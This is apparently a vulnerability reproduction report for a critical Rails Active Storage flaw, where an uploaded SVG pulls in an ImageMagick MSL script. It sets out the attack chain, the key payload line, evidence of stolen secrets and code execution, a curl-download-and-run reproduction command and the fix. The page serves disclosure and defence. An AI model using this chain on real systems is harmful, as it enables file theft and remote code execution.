Skip to content

GHSA-F3W6-W445-FWH9: Verified Reproduction

GHSA-F3W6-W445-FWH9: Rails Active Storage ImageMagick image analysis: arbitrary file write and read possible RCE

GHSA-F3W6-W445-FWH9 is verified against activestorage (rubygems) · rubygems. Affected versions: activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1. Fixed in 8.0.5.2, 8.1.4.1. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00389.

REPRO-2026-00389 activestorage (rubygems) · rubygems Nov 4, 2026 .txt
Severity
CRITICAL
Confidence
HIGH
Reproduced in
105m 5s
Tool calls
479
Spend
$1.48
01 · Overview

What Is GHSA-F3W6-W445-FWH9?

GHSA-F3W6-W445-FWH9 is a critical-severity vulnerability affecting activestorage (rubygems) activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00389).

02 · Severity & CVSS

GHSA-F3W6-W445-FWH9 Severity

GHSA-F3W6-W445-FWH9 is rated critical severity.

CRITICAL threat level
Weakness CWE-1188

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected activestorage (rubygems) Versions

activestorage (rubygems) · rubygems versions activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1 are affected.

How to Reproduce GHSA-F3W6-W445-FWH9

$ pruva-verify REPRO-2026-00389
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00389/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for GHSA-F3W6-W445-FWH9

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated SVG upload whose <image xlink:href> carries an explicit msl: coder prefix naming an attacker-uploaded MSL script at a blob path recovered from the signed disk token

Attack chain
  1. POST /uploads (Active Storage attach)
  2. analyzer runs at attach time
  3. MiniMagick identify
  4. ImageMagick SVG coder
  5. MSL coder
  6. <read>/<write> of attacker-named files
  7. arbitrary file write, exfiltration through the attacker's own blob, code execution via a written template
How the agent worked 972 events · 479 tool calls · 1h 45m
1h 45mDuration
479Tool calls
198Reasoning steps
972Events
15Dead-ends
Agent activity over 1h 45m
Policy
1
Support
10
Repro
480
Judge
59
Variant
417
Verify
1
0:00104:51

Root Cause and Exploit Chain for GHSA-F3W6-W445-FWH9

Versions: activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1; an application is

Active Storage image analysis: arbitrary file write, arbitrary file read, and code execution through ImageMagick's MSL scripting coder reached from an attached upload.

activestorage hands every attached upload to ImageMagick for image analysis without constraining which of ImageMagick's coders the file may reach. ImageMagick selects a coder from the content of the file it is given, and some coders act on files named inside the image rather than on the image itself. A file whose content is XML is sniffed as SVG (ImageMagick's built-in magic table maps ?xml/?xml/SVG/svg at offset 1 to the SVG coder), and ImageMagick's own SVG renderer resolves the xlink:href of every <image> element through ReadImage. Because that reference may carry an explicit coder prefix, an uploaded SVG containing <image xlink:href="msl:/path/to/file"/> makes ImageMagick parse the named file with the MSL ("Magick Scripting Language") coder. MSL is a scripting coder that reads and writes the files its script names, so the upload alone — no variant, preview, or analyze call — gives an unauthenticated attacker arbitrary file write, and (with the Disk service, where the attacker's own blob path is knowable) arbitrary file read.

This run reproduced the full chain against the real product code: activestorage at the parent of the fix commit, driven through a real HTTP upload endpoint, with a real Puma server, a real Active Storage Disk service, the real ImageMagick analyzer, and a real ImageMagick process. It also demonstrated escalation to code execution by writing the attacker's content into a path the application loads and renders.

  • Component: activestorage (Ruby on Rails) — ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick and, more fundamentally, the absence of any ImageMagick coder restriction in Active Storage.
  • Affected versions: activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1; an application is affected only when all of the following hold:
    1. config.active_storage.variant_processor = :mini_magick (default for load_defaults 6.1 or earlier; the same setting selects the analyzer),
    2. ImageMagick runs under a policy that does not deny the coders involved (the policies shipped by Debian and Ubuntu do not deny MSL),
    3. untrusted users can attach uploads.
  • Risk level: critical (advisory CVSS 3.0 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
  • Consequences observed in this run: attacker-chosen file written at an attacker-chosen path with attacker-chosen bytes; files readable by the application process read and exfiltrated over HTTP (the process environment including SECRET_KEY_BASE, and a planted credential file); attacker-supplied Ruby executed inside the application process.

Impact Parity

  • Disclosed/claimed maximum impact: the advisory asserts arbitrary file write and arbitrary file read when attachments are stored with the Disk service, and states that readable secrets "may in turn allow escalation to remote code execution". The submitted claim contract expects code_execution on the api_remote surface.
  • Reproduced impact from this run:
    • arbitrary file write — full (exact attacker bytes at an attacker-chosen absolute path),
    • arbitrary file read — full (a planted credential file and /proc/self/environ including SECRET_KEY_BASE, both exfiltrated over HTTP through the attacker's own blob),
    • code execution — demonstrated (unique marker file content plus id output reflected in an HTTP response).
  • Parity: full.
  • Not demonstrated / conditions: the code-execution leg required the write target to be a path the application loads and re-reads, which the reproduced application has because it runs with code reloading enabled (Rails development defaults). The advisory-asserted write and read primitives are unconditional. A deployment with eager loading, template caching, and a non-writable application tree would still be fully exposed to arbitrary file write and read; its escalation to code execution would then depend on the deployment (a scheduled job, a writable autoload path, an executable script, ld.so.preload for a root-run process, and so on) and was not separately validated here.

Root Cause

  1. Coder selection is attacker-controlled. ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick#read_image downloads the blob and runs MiniMagick::Image.new(file.path) (i.e. magick identify on the file). Nothing in Active Storage restricts the set of coders ImageMagick may pick, so the uploader decides which parser handles the bytes. ImageMagick's built-in magic table maps XML-looking content to the SVG coder.
  2. The SVG coder resolves references through ImageMagick's read path. coders/svg.c stores the xlink:href of <image> in svg_info->url and passes it to StrictReadImage()/ReadImage() (and emits image Over x,y w,h "url" into the MVG it renders). An explicit coder prefix in that reference is honoured, so msl:<path> selects the MSL coder for the named file.
  3. MSL acts on files named inside the script. coders/msl.c implements <read> and <write>: read calls ReadImage on any filename (raw coders such as gray: read the file's bytes verbatim) and write calls WriteImage to any path. Both run with the privileges of the Rails process.
  4. The Disk service makes the primitive remotely useful. The blob key is recoverable by decoding the signed (not encrypted) disk-service token that Active Storage puts in the Location header of the blob redirect, so the attacker knows the on-disk path of their own blob. The MSL script can therefore copy any readable file's bytes into that blob file, and the attacker downloads them through the ordinary blob URL — an arbitrary file read over HTTP. Overwriting any other writable path gives the arbitrary file write.
  5. Trigger point. ActiveStorage::Attachment runs after_create_commit :analyze_blob_later, so analysis — and therefore the MSL execution — happens in the request that attaches the file. No variant, preview, or explicit analyze call is needed.

Fix commit: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 ("Ship an ImageMagick security policy for every MiniMagick process", 8.0 branch; 8.1 branch 468aa9a93fc98f5476b6821770f4ccfcb7f7d328). The fix ships activestorage/lib/active_storage/image_magick/policy.xml and prepends its directory to MAGICK_CONFIGURE_PATH through MiniMagick.cli_env, so every ImageMagick process MiniMagick spawns denies MSL, the other file-reaching coders, the network coders, the Ghostscript coders/delegate, and @filename indirection. It also raises at boot for :mini_magick applications whose mini_magick is older than 5.1 (which cannot apply the policy) — a behaviour observed directly in this run when the fixed application was first started with mini_magick 5.0.1.

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh is the single entrypoint. It:
    • resolves the Rails repository from bundle/project_cache_context.json (<project_cache_dir>/repo), creates a worktree of the vulnerable commit (ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776^, RAILS_VERSION 8.0.5.1) and of the fixed commit (ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776), and asserts the patch is absent from the first and present in the second;
    • builds bundle/repro/docker/Dockerfile: ImageMagick 7.1.1-32 built from upstream source without librsvg (so the SVG coder uses ImageMagick's own internal renderer, exactly as in the reported chain) under the Debian/Ubuntu-style policy.xml (which does not deny MSL), plus two minimal but real Rails applications (/app-vuln, /app-fixed) that use activestorage from the two worktrees, variant_processor = :mini_magick, the Disk service, active_job.queue_adapter = :inline, mini_magick 5.0.x for the vulnerable app and mini_magick 5.1+ for the fixed app;
    • starts both applications under Puma with SECRET_KEY_BASE in the process environment, plants a credential file at /srv/pruva_credentials.txt, and runs bundle/repro/attack/attack.py twice against each application.
  2. attack.py is a pure HTTP client. It fetches the upload form and its CSRF token, attaches four uploads through POST /uploads (an exfiltration blob, a second exfiltration blob, the attacker's payload bytes, and the MSL script), recovers each blob key by decoding the signed disk token in the blob redirect, attaches the SVG <image xlink:href="msl:<blob path>"> (which triggers the analyzer at attach time), retries the environment read with decreasing sizes, and then verifies the effects.
  3. Expected evidence: on the vulnerable application the attacker's bytes appear at /tmp/pruva_arbitrary_write.txt, the attacker's own blob now carries the server's process environment (including SECRET_KEY_BASE) and the planted credential file, and a subsequent page request executes the template the MSL write replaced. On the fixed application nothing happens and the server log shows ImageMagick refusing the coder: attempt to perform an operation not allowed by the security policy 'MSL'.

Evidence

All paths are relative to bundle/.

Evidence Location
Reproduction log (both runs) logs/reproduction_steps.log
Vulnerable attempt 1 / 2 attack transcript logs/attempts/vuln_1/attack.stdout, logs/attempts/vuln_2/attack.stdout
Structured per-attempt results logs/attempts/vuln_1/summary.json, logs/attempts/vuln_2/summary.json
Delivered MSL script and SVG logs/attempts/vuln_1/05_payload_env1024.msl, logs/attempts/vuln_1/06_payload_env1024.svg
Arbitrary write target content logs/attempts/vuln_1/10_arbitrary_write.txt
Exfiltrated bytes (raw / newline-separated) logs/attempts/vuln_1/11_exfil_blob_download.bin, logs/attempts/vuln_1/12_exfil_environ.txt
Planted credential recovered through the blob logs/attempts/vuln_1/11b_exfil_canary_download.bin
Code execution in the HTTP response logs/attempts/vuln_1/13_response_after_template_write.html
Target-local RCE marker files logs/attempts/vuln_1/14_rce_marker.txt, logs/attempts/vuln_2/14_rce_marker.txt
Negative-control observations (fix commit) logs/attempts/fixed_1/negative_control.json, logs/attempts/fixed_2/negative_control.json
Fixed attempt transcripts and server policy denials logs/attempts/fixed_1/attack.stdout, logs/attempts/fixed_1/server.log

Key excerpts (vulnerable application, attempt 1):

exfiltration channel on disk: /app-vuln/storage/fe/8k/fe8k0q5kmsjoxy2exjuo5r4a43t7
attached script_env1024.msl (1888 bytes, application/octet-stream) -> /uploads/3
delivering SVG env1024: <image xlink:href="msl:/app-vuln/storage/t3/c0/t3c0s3ff8jvzeagukdhys8grjfa1">
arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content
environment read with 64 samples (128 bytes) returned 1664 bytes
exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True)
response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)'
server-side RCE marker file content: 'PRUVA_RCE_841517157f8b' (expected 'PRUVA_RCE_841517157f8b')

Exfiltrated environment (fragment, from logs/attempts/vuln_1/12_exfil_environ.txt):

HOSTNAME=32925638596e
RUBY_VERSION=3.4.12
PWD=/app-vuln
...
SECRET_KEY_BASE=04c5dd7e95...

Fixed application (both attempts):

exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False)
response after the template write contains command output: None
identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454.

Environment: Linux x86_64, Docker 27.5.1, ruby:3.4-bookworm, Ruby 3.4.12, activestorage 8.0.5.1 (vulnerable worktree 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c) and the fix commit ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 for the control, mini_magick 5.0.1 / 5.4.0, ImageMagick 7.1.1-32 Q16-HDRI (source build, internal SVG renderer, Debian/Ubuntu-style policy.xml that does not deny MSL), Puma, SQLite, Active Storage Disk service.

Recommendations / Next Steps

  • Apply the vendor fix: upgrade activestorage to 8.0.5.2 / 8.1.4.1 or later, which ships the ImageMagick policy and applies it through MiniMagick.cli_env; with :mini_magick, also upgrade mini_magick to 5.1 or later (older versions make the fixed release raise at boot, as observed here).
  • Do not rely on the host policy alone. A host policy that denies MSL blocks the reported chain, but the advisory is explicit that it does not assume this is the only chain; the shipped policy is a denylist and the variant-analysis stage should test its completeness (coder aliases, host policy re-allow rules placed after the shipped one, GraphicsMagick, applications that replace MiniMagick.cli_env/cli_prefix or install their own MiniMagick::Shell).
  • Constrain coders, not just files: prefer :vips for variant processing, and treat "attach" as an untrusted-input boundary — analysis must not run with privileges or file access beyond the blob.
  • Run the app without write access to its own code and without reloading in production; that removes the demonstrated write→execution path but not the write or the read.
  • Testing recommendation: keep a regression test that attaches a file whose content is <msl>-bearing SVG and asserts that no file named by the script is created.

Additional Notes

  • Idempotency: the script is self-contained and was run twice consecutively; both runs ended with === reproduction confirmed === and exit status 0. Each attempt uses fresh random marker content, so the marker evidence cannot be satisfied by leftovers from an earlier run; the show template is restored from /app-src before every attempt.
  • Limitations: (1) the RCE leg is conditional on the application loading the overwritten path (demonstrated with code reloading enabled; see Impact Parity); (2) ImageMagick is a source build of upstream 7.1.1-32 without librsvg, chosen because the Debian/Ubuntu packages of the same era carry additional hardening that refuses explicit coder prefixes inside SVG references, and because the reported chain relies on ImageMagick's own internal SVG renderer; the shipped Debian/Ubuntu-style policy (which does not deny MSL) is installed unchanged; (3) the environment read is attempted with progressively smaller raw sizes because ImageMagick aborts an MSL script when a raw read runs past the end of a regular file (the payload writes therefore run first); on this target the very first attempt returned the whole /proc/self/environ (1664 bytes, SECRET_KEY_BASE included) even though 128 bytes were requested, because procfs reports no size.

GHSA-F3W6-W445-FWH9 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:47
0:00
session startedaccounts/fireworks/models/deepseek-v4p1-flash · GHSA-F3W6-W445-FWH9 · REPRO-20
0:20
0:23
0:24
web search
0:43
0:43
extract_facts
no facts extracted
0:45
0:45
0:45
supportclaim_contract
0:55
0:55
0:55
0:58
0:58
0:58
0:58
1:07
1:08
$ls -la /pruva/project-cache/ 2>&1 | head -30; echo "---MIRRORS---"; ls -la /pruva/project-cache/repo-mirrors/ 2>&1 | head; echo "---REPO---"; ls /pruva/project-cache/repo 2>&1 | head -30; echo "---ENV---"; ruby --version 2>&1; python3 --version; convert --version 2>&1 | head -3; magick --version 2>&1|head -3; docker version --format '{{.Server.Version}}' 2>&1 | head -2; echo "---POLICY---"; ls /etc/ImageMagick* 2>&1; cat /etc/ImageMagick-6/policy.xml 2>/dev/null | head -60
1.2s✓
total 4
drwx------ 4 vscode vscode   80 Nov  4 13:18 .
drwxr-xr-x 3 root   root   4096 Nov  4 13:18 ..
drwx------ 2 vscode vscode   60 Nov  4 13:18 .pruva
drwx------ 2 vscode vscode   40 Nov  4 13:18 repo-mirrors
---MIRRORS---
total 0
drwx------ 2 vscode vscode 40 Nov  4 13:18 .
2:16
2:19
$echo "--- net tests ---"; curl -sS -o /dev/null -w "rubygems:%{http_code}\n" --max-time 15 https://rubygems.org/ ; curl -sS -o /dev/null -w "github:%{http_code}\n" --max-time 15 https://github.com/ ; curl -sS -o /dev/null -w "raw:%{http_code}\n" --max-time 20 https://raw.githubusercontent.com/ImageMagick/ImageMagick/main/coders/msl.c; curl -sS -o /dev/null -w "dockerhub:%{http_code}\n" --max-time 15 https://registry-1.docker.io/v2/; echo "--- docker images ---"; docker images 2>&1 | head -20; echo "--- df ---"; df -h / /pruva 2>&1 | head
2.2s✓
--- net tests ---
rubygems:200
github:200
raw:200
dockerhub:401
--- docker images ---
WARNING: This output is designed for human readability. For machine-readable output, please use --format.
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
2:24
2:25
2:26
$cd /tmp && curl -sSL -o msl.c https://raw.githubusercontent.com/ImageMagick/ImageMagick/main/coders/msl.c && wc -l msl.c && grep -n 'LocaleCompare((char \*) keyword' msl.c | head -60
1.1s✓
7905 msl.c
2:30
2:32
$cd /tmp && grep -n 'keyword,' msl.c | head -80
1.1s✓
{"cwd":"/workspace","duration_ms":93,"exit_code":0,"stderr":"","stdout":"411:                  if (LocaleCompare(keyword,\"channel\") == 0)\n427:                  if (LocaleCompare(keyword,\"noise\") == 0)\n491:                  if (LocaleCompare(keyword,\"affine\") == 0)\n515:                  if (LocaleCompare(keyword,\"align\") == 0)\n525:                  if (LocaleCompare(keyword,\"antialias\") == 0)\n543:                  if (LocaleCompare(keyword,\"density\") == 0)\n555:                  if (LocaleCompare(keyword,\"encoding\") == 0)\n567:                  if (LocaleCompare(keyword, \"fill\") == 0)\n573:                  if (LocaleCompare(keyword,\"family\") == 0)\n578:                  if (LocaleCompare(keyword,\"font\") == 0)\n590:                  if (LocaleCompare(keyword,\"geometry\") == 0)\n596:                  if (LocaleCompare(keyword,\"gravity\") == 0)\n613:                  if (LocaleCompare(keyword,\"pointsize\") == 0)\n625:                  if (LocaleCompare(keyword,\"rotate\") == 0)\n641:                  if (LocaleCompare(keyword,\"scale\") == 0)\n650:                  if (LocaleCompare(keyword,\"skewX\") == 0)\n657:                  if (LocaleCompare(keyword,\… [truncated]
2:37
2:40
$cd /tmp && grep -n '"read"\|"write"\|"print"\|"msl"\|"image"\|"set"\|"get"\|"eval"' msl.c | sed -n '1,60p'
1.6s✓
1523:                  if (LocaleCompare(keyword,"image") == 0)
1626:                  if (LocaleCompare(keyword,"image") == 0)
3008:      else if (LocaleCompare((const char *) tag,"get") == 0)
3083:      if (LocaleCompare((const char *) tag,"image") == 0)
3374:                  if (LocaleCompare(keyword,"image") == 0)
3653:      if (LocaleCompare((const char *) tag,"msl") == 0 )
4063:      if (LocaleCompare((const char *) tag,"print") == 0)
4783:      if (LocaleCompare((const char *) tag,"read") == 0)
2:47

Artifacts and Evidence for GHSA-F3W6-W445-FWH9

Scripts, logs, diffs, and output captured during the reproduction.

bundle/logs/attempts/fixed_1/attack.log32.9 KB
bundle/logs/attempts/fixed_1/attack.stdout6.2 KB
bundle/logs/attempts/fixed_1/server.log71.3 KB
bundle/logs/attempts/fixed_1/summary.json0.4 KB
bundle/logs/attempts/fixed_2/attack.log32.9 KB
bundle/logs/attempts/fixed_2/attack.stdout6.2 KB
bundle/logs/attempts/fixed_2/negative_control.json0.4 KB
bundle/logs/attempts/fixed_2/server.log142.1 KB
bundle/logs/attempts/fixed_2/summary.json0.4 KB
bundle/logs/attempts/vuln_1/05_payload_env1024.msl0.7 KB
bundle/logs/attempts/vuln_1/05_payload_env64.msl0.7 KB
bundle/logs/attempts/vuln_1/06_payload_env64.svg0.3 KB
bundle/logs/attempts/vuln_1/11_exfil_blob_download.bin1.6 KB
bundle/logs/attempts/vuln_1/11b_exfil_canary_download.bin0.0 KB
bundle/logs/attempts/vuln_1/12_exfil_environ.txt1.6 KB
bundle/logs/attempts/vuln_1/attack.log22.5 KB
bundle/logs/attempts/vuln_1/server.log45.5 KB
bundle/logs/attempts/vuln_1/summary.json0.5 KB
bundle/logs/attempts/vuln_2/05_payload_env1024.msl0.7 KB
bundle/logs/attempts/vuln_2/10_arbitrary_write.txt0.1 KB
bundle/logs/attempts/vuln_2/11_exfil_blob_download.bin1.6 KB
bundle/logs/attempts/vuln_2/11b_exfil_canary_download.bin0.0 KB
bundle/logs/attempts/vuln_2/12_exfil_environ.txt1.6 KB
bundle/logs/attempts/vuln_2/13_response_after_template_write.html0.3 KB
bundle/logs/attempts/vuln_2/attack.log22.6 KB
bundle/logs/attempts/vuln_2/server.log90.4 KB
bundle/logs/attempts/vuln_2/summary.json0.5 KB
bundle/logs/reproduction_steps.log86.0 KB
bundle/repro/app/Gemfile0.5 KB
bundle/repro/app/Rakefile0.1 KB
bundle/repro/app/app/controllers/application_controller.rb0.1 KB
bundle/repro/app/app/controllers/uploads_controller.rb0.4 KB
bundle/repro/app/app/models/application_record.rb0.1 KB
bundle/repro/app/app/models/upload.rb0.1 KB
bundle/repro/app/app/views/layouts/application.html.erb0.1 KB
bundle/repro/app/app/views/uploads/index.html.erb0.2 KB
bundle/repro/app/app/views/uploads/new.html.erb0.1 KB
bundle/repro/app/app/views/uploads/show.html.erb0.2 KB
bundle/repro/app/bin/rails0.1 KB
bundle/repro/app/config.ru0.1 KB
bundle/repro/app/config/application.rb0.6 KB
bundle/repro/app/config/boot.rb0.1 KB
bundle/repro/app/config/database.yml0.1 KB
bundle/repro/app/config/environment.rb0.1 KB
bundle/repro/app/config/environments/development.rb0.4 KB
bundle/repro/app/config/puma.rb0.2 KB
bundle/repro/app/config/routes.rb0.1 KB
bundle/repro/app/config/storage.yml0.1 KB
bundle/repro/app/db/migrate/0001_create_uploads.rb0.2 KB
bundle/repro/attack/attack.py14.3 KB
bundle/repro/docker/Dockerfile3.4 KB
bundle/repro/rca_report.md14.9 KB
bundle/repro/reproduction_steps.sh12.3 KB
bundle/repro/runtime_manifest.json5.9 KB
bundle/repro/validation_verdict.json1.6 KB
08 · How to Fix

How to Fix GHSA-F3W6-W445-FWH9

Upgrade activestorage (rubygems) · rubygems to 8.0.5.2, 8.1.4.1 or later.

Coming soon

Step-by-step mitigation and hardening guidance for GHSA-F3W6-W445-FWH9 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: GHSA-F3W6-W445-FWH9

Is GHSA-F3W6-W445-FWH9 exploitable?

Yes. Pruva independently reproduced GHSA-F3W6-W445-FWH9 in activestorage (rubygems) and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00389).

How severe is GHSA-F3W6-W445-FWH9?

GHSA-F3W6-W445-FWH9 is rated critical severity.

What type of vulnerability is GHSA-F3W6-W445-FWH9?

GHSA-F3W6-W445-FWH9 is classified as CWE-1188.

Which versions of activestorage (rubygems) are affected by GHSA-F3W6-W445-FWH9?

activestorage (rubygems) activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1 is affected by GHSA-F3W6-W445-FWH9.

Is there a fix for GHSA-F3W6-W445-FWH9?

Yes. GHSA-F3W6-W445-FWH9 is fixed in activestorage (rubygems) 8.0.5.2, 8.1.4.1. Upgrading to the fixed version remediates the issue.

How can I reproduce GHSA-F3W6-W445-FWH9?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the GHSA-F3W6-W445-FWH9 reproduction verified?

Yes. Pruva reproduced GHSA-F3W6-W445-FWH9 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for GHSA-F3W6-W445-FWH9

Authoritative sources for GHSA-F3W6-W445-FWH9 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.